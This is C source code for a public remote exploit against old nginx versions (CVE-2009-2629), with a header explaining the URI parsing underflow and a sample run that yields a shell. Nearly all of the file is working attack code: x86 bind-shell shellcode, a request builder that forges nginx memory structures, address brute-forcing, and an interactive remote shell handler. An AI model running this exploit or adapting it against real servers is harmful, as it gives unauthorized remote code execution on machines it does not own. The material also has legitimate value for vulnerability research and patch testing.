/***********************************************************
* hoagie_nginx.c
* REMOTE NGINX EXPLOIT
* (< 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15) - CVE-2009-2629
*
* Bug reported by
* Chris Ries
* Carnegie Mellon University Information Security Office
*
*
* ngx_http_parse.c: ngx_http_parse_complex_uri()
* ...
* u -= 4;
* if (u < r->uri.data) {
* return NGX_HTTP_PARSE_INVALID_REQUEST;
* }
* while (*(u - 1) != '/') {
* u--;
* }
*
* The bug can be triggered when the character '/' is at index
* 4 because then nginx will lookup all bytes before the url
* in memory (u - 4 points to first character of the url and
* u - 5 points to first character before the url)
*
* GET //../ HTTP/1.0
* ^ ^
* | |
* | u
* u - 4
*
* Note:
* Since version 0.5.34 and 0.6.15 there is an option called
* merge_slashes (that is on per default).
*
* $ ~/hn -d localhost -p 8888 -o 0x86B1043
* hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 remote/local
* -andi / void.at
*
* [*] connecting to localhost:8888 ...
* [*] exploiting nginx with ctx buffer at 0x086b1043
* Linux lenny 2.6.26-1-686 #1 SMP Fri Mar 13 18:08:45 UTC 2009 i686 GNU/Linux
* id
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* $
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define DEFAULT_PORT "80"
#define INIT_COMMAND "uname -a\n"
#define CTX_ADDRESS_LOCATION_OFFSET 0xa2
#define CTX_LOCATION_OFFSET 0x47a
#define BUFFER_MAX_SIZE 0x1000
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
unsigned int prepare_buffer(char *buffer, unsigned int buffer_size,
unsigned int ctx_offset, char *shellcode,
unsigned int shellcode_length) {
unsigned int pool_addr = ctx_offset + 0x38;
unsigned int data_addr = pool_addr + 0x20;
unsigned int shell_padding = 0x20;
unsigned int shell_addr = data_addr + 0x4 + shell_padding;
unsigned int i;
unsigned int j;
unsigned int buffer_offset;
unsigned int buffer_length;
memset(buffer, 0, buffer_size);
buffer_offset = sprintf((char*)buffer, "GET //../");
/* prepare pseudo nginx pool memory layout */
memset(buffer + buffer_offset, 'A', CTX_LOCATION_OFFSET);
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET] = ctx_offset & 0xff;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 1] = (ctx_offset >> 8) & 0xff;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 2] = (ctx_offset >> 16) & 0xff;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 3] = (ctx_offset >> 24) & 0xff;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 4] = 0;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 5] = 0;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 6] = 0;
buffer[buffer_offset + CTX_ADDRESS_LOCATION_OFFSET + 7] = 0;
buffer_offset += CTX_LOCATION_OFFSET;
/* ngx_output_chain_ctx_t { */
/* ngx_buf_t *buf; */
/* src/core/ngx_output_chain.c:280 */
/* for (cl = *chain; cl; cl = cl->next) { */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_chain_t *in; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_chain_t *free; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_chain_t *busy; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* unsigned sendfile; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* unsigned need_in_memory; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* unsigned need_in_temp; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_pool_t *pool; */
buffer[buffer_offset++] = pool_addr & 0xff;
buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
/* ngx_int_t allocated; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_bufs_t bufs; */
/* typedef struct { */
/* ngx_int_t num; */
/* size_t size;*/
/*} ngx_bufs_t;
* so we need 8 bytes in this case
*/
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_buf_tag_t tag; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_output_chain_filter_pt output_filter; */
buffer[buffer_offset++] = shell_addr & 0xff;
buffer[buffer_offset++] = (shell_addr >> 8) & 0xff;
buffer[buffer_offset++] = (shell_addr >> 16) & 0xff;
buffer[buffer_offset++] = (shell_addr >> 24) & 0xff;
/* void *filter_ctx; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* } */
/* append our pool memory structure (used by ctx structure) */
/* struct ngx_pool_s { */
/* u_char *last; */
/* will be used after return of memory allocation */
/* src/core/ngx_output_chain.c:322 */
/* cl->buf = in->buf; */
buffer[buffer_offset++] = data_addr & 0xff;
buffer[buffer_offset++] = (data_addr >> 8) & 0xff;
buffer[buffer_offset++] = (data_addr >> 16) & 0xff;
buffer[buffer_offset++] = (data_addr >> 24) & 0xff;
/* u_char *end; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_pool_t *current; */
/* src/core/ngx_palloc.c:95 */
/* p = pool->current; */
buffer[buffer_offset++] = pool_addr & 0xff;
buffer[buffer_offset++] = (pool_addr >> 8) & 0xff;
buffer[buffer_offset++] = (pool_addr >> 16) & 0xff;
buffer[buffer_offset++] = (pool_addr >> 24) & 0xff;
/* ngx_chain_t *chain; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_pool_t *next; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_pool_large_t *large; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_pool_cleanup_t *cleanup; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* ngx_log_t *log; */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
/* }; */
/* fill buffer that will be used for return from internal nginx alloc functions */
/* data buffer */
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
buffer[buffer_offset++] = 0x00;
memcpy(buffer + buffer_offset + shell_padding, shellcode, shellcode_length);
buffer_offset += shellcode_length + shell_padding;
buffer_length = sprintf((char*)buffer + buffer_offset, " HTTP/1.0\r\n\r\n");
return buffer_offset + buffer_length;
}
int connect_to(char *host, int port) {
struct sockaddr_in s_in;
struct hostent *he;
int s;
if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
return -1;
}
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = AF_INET;
s_in.sin_port = htons(port);
if ( (he = gethostbyname(host)) != NULL)
memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
else {
if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
close(s);
return -3;
}
}
if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
close(s);
return -4;
}
return s;
}
void usage(int argc, char **argv) {
fprintf(stderr,
"usage: %s [-d <host>] [-p <port>] [-b <range>] [-o <offset> \n"
"\n"
"-h help\n"
"-v verbose\n"
"-d host HTTP server\n"
"-p port HTTP port (default: %s)\n"
"-o offset memory address for user defined ctx buffer\n"
"-b range bruteforce range for ctx buffer\n"
"\n"
,
argv[0],
DEFAULT_PORT);
exit(1);
}
void shell(int s) {
fd_set fs;
int r;
char buffer[4096];
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(s, &fs);
while (select(s + 1, &fs, NULL, NULL, NULL)) {
if (FD_ISSET(0, &fs)) {
r = read(0, buffer, 1);
if (r > 0) {
write(s, buffer, r);
}
} if (FD_ISSET(s, &fs)) {
r = read(s, buffer, sizeof(buffer));
if (r > 0) {
write(1, buffer, r);
}
}
FD_ZERO(&fs);
FD_SET(0, &fs);
FD_SET(s, &fs);
}
}
void exploit(char *server, int port, unsigned int base_addr, char *shellcode,
int shellcode_length) {
char buffer[4096];
unsigned int buffer_length;
int s = connect_to(server, port);
if (s > 0) {
buffer_length = prepare_buffer(buffer, sizeof(buffer), base_addr,
shellcode, shellcode_length);
write(s, buffer, buffer_length);
close(s);
s = connect_to(server, 10000);
if (s > 0) {
write(s, INIT_COMMAND, strlen(INIT_COMMAND));
shell(s);
close(s);
} else {
fprintf(stderr, "[*] exploit failed (try using bruteforce (-b))\n");
}
} else {
fprintf(stderr, "[*] connect to '%s:%d' failed\n", server, port);
}
}
int main(int argc, char **argv) {
unsigned int base_addr = 0;
unsigned int bruteforce_from = 0, bruteforce_to = 0;
char *server = NULL;
char *port = DEFAULT_PORT;
char c;
unsigned int idx = 0;
fprintf(stderr,
"hoagie_nginx.c - < 0.5.37, < 0.6.39, < 0.7.62, < 0.8.15 "
"remote/local\n-andi / void.at\n\n");
if (argc < 2) {
usage(argc, argv);
} else {
while ((c = getopt (argc, argv, "hd:p:b:o:")) != EOF) {
switch (c) {
case 'h':
usage(argc, argv);
break;
case 'd':
server = optarg;
break;
case 'p':
port = optarg;
break;
case 'b':
if (sscanf(optarg, "0x%x-0x%x",
&bruteforce_from, &bruteforce_to) != 1 ||
!bruteforce_from || !bruteforce_to) {
fprintf(stderr, "[*] invalid brute force range: '%s'\n",
optarg);
}
break;
case 'o':
base_addr = 0;
if (sscanf(optarg, "0x%x", &base_addr) != 1 || !base_addr) {
fprintf(stderr, "[*] invalid base address: '%s'\n", optarg);
}
break;
default:
fprintf(stderr, "[*] unknown command line option '%c'\n", c);
exit(-1);
}
}
if (!server) {
fprintf(stderr, "[*] server is missing\n");
} else {
printf("[*] connecting to %s:%s ...\n", server, port);
if (base_addr) {
printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
base_addr);
exploit(server, atoi(port), base_addr, shellcode,
strlen(shellcode));
} else {
printf("[*] exploiting nginx with ctx buffer from "
"0x%08x to 0x%08x\n", bruteforce_from, bruteforce_to);
for (base_addr = bruteforce_from; base_addr < bruteforce_to;
base_addr++) {
printf("[*] exploiting nginx with ctx buffer at 0x%08x\n",
base_addr);
exploit(server, atoi(port), base_addr, shellcode,
strlen(shellcode));
}
}
}
}
return 0;
}